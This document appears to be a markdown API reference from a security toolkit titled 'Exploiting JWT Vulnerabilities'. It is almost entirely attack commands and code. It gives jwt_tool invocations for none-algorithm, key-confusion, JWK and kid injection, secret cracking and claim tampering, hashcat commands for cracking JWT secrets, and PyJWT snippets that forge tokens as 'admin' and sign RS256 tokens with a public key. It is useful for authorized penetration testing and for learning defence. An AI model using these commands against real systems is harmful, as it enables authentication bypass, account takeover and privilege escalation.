<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Exploiting JWT Vulnerabilities

## jwt_tool
```bash
# Decode
python3 jwt_tool.py TOKEN

# Test all attack modes
python3 jwt_tool.py TOKEN -M at

# None algorithm
python3 jwt_tool.py TOKEN -X a

# Key confusion (HMAC/RSA)
python3 jwt_tool.py TOKEN -X k -pk pubkey.pem

# JWK injection
python3 jwt_tool.py TOKEN -X i

# kid injection
python3 jwt_tool.py TOKEN -X p -pk /dev/null

# Crack secret
python3 jwt_tool.py TOKEN -C -d wordlist.txt

# Tamper claims interactively
python3 jwt_tool.py TOKEN -T

# Forge with known secret
python3 jwt_tool.py TOKEN -S hs256 -p 'secret' -pc sub -pv admin
```

## hashcat JWT Cracking
```bash
# Mode 16500 — JWT (HMAC-SHA256)
hashcat -m 16500 'eyJ...' wordlist.txt --force

# With rules
hashcat -m 16500 'eyJ...' wordlist.txt -r rules/best64.rule
```

## PyJWT Library
```python
import jwt

# Decode without verification
jwt.decode(token, options={"verify_signature": False}, algorithms=["HS256"])

# Forge
jwt.encode({"sub": "admin"}, "secret", algorithm="HS256")

# Key confusion — sign RS256 token with HS256 using public key
jwt.encode({"sub": "admin"}, open("pub.pem").read(), algorithm="HS256")
```

## Common JWT Claims
| Claim | Purpose |
|-------|---------|
| sub | Subject (user ID) |
| iss | Issuer |
| exp | Expiration time |
| iat | Issued at |
| aud | Audience |
| jti | JWT ID (nonce) |
| role/roles | Authorization |
| admin | Admin flag |
